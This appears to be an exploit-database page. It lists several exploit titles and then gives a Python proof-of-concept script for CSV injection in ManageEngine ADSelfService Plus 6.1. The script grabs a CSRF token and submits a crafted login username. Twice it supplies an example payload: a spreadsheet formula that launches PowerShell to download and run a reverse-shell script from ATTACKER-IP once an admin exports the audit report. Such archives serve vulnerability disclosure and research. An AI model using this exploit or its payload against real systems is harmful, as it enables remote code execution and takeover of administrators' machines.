2f8f6dffbd
8 changes to exploits/shellcodes WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC) Visual Studio Code 1.47.1 - Denial of Service (PoC) WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS) In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection ManageEngine ADSelfService Plus 6.1 - CSV Injection COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass) COVID19 Testing Management System 1.0 - 'Admin name' Cross-Site Scripting (XSS)
61 lines
No EOL
2.6 KiB
Python
Executable file
61 lines
No EOL
2.6 KiB
Python
Executable file
# Exploit Title: ManageEngine ADSelfService Plus 6.1 - CSV Injection
|
|
# Date: 19/05/2021
|
|
# Exploit Author: Metin Yunus Kandemir
|
|
# Vendor Homepage: https://www.manageengine.com/
|
|
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
|
|
# Version: 6.1
|
|
# Description: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection
|
|
|
|
|
|
import requests
|
|
import sys
|
|
import urllib3
|
|
|
|
"""
|
|
Proof of Concept:
|
|
Step-1
|
|
1- Malicious user sends POST request to login page https://TARGET-IP/j_security_check and sets j_username parameter as like the below.
|
|
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0
|
|
Step-2
|
|
2- The request attempt will be saved to"User Attempts Audit Report" table that is under the Reports > Audit Reports section. Url: https://TARGET-IP/webclient/index.html#/reports/listReports/12
|
|
j_username parameter value is saved to "User Name" column which is start of line in the CSV file. If admin user exports this table as CSV file and confirms the alert popup, reverse shell connection
|
|
will be obtained by malicious user.
|
|
Details: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection
|
|
"""
|
|
|
|
|
|
def loginReq(target,payload,getCsrf):
|
|
s = requests.Session()
|
|
data = {
|
|
"j_username": payload,
|
|
"j_password": "joker",
|
|
"domainName": "ADSelfService+Plus+Authentication",
|
|
"AUTHRULE_NAME": "ADAuthenticator",
|
|
"adscsrf": getCsrf
|
|
|
|
}
|
|
url = "https://"+target+"/j_security_check"
|
|
req = s.post(url, data=data, allow_redirects=False, verify=False)
|
|
if req.status_code == 302:
|
|
print("[+] Sending request is successful.")
|
|
print("[+] Injected payload: %s" %payload)
|
|
else:
|
|
print("[-] Something went wrong!")
|
|
print(req.status_code)
|
|
|
|
def getCsrfToken(target, payload=None):
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
gUrl = "https://" + target + "/authorization.do"
|
|
getCsrf = requests.get(url=gUrl, allow_redirects=False, verify=False)
|
|
print("[*] Csrf token: %s" %getCsrf.cookies['_zcsr_tmp'])
|
|
loginReq(target,payload,getCsrf)
|
|
|
|
def main(args):
|
|
if len(args) != 3:
|
|
print("usage: %s targetIp:port payload" %(args[0]))
|
|
print("Example: python3 adSelfServiceCsv.py 192.168.1.253:9251 \"=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0\"")
|
|
sys.exit(1)
|
|
getCsrfToken(target=args[1], payload=args[2])
|
|
|
|
if __name__ == "__main__":
|
|
main(args=sys.argv) |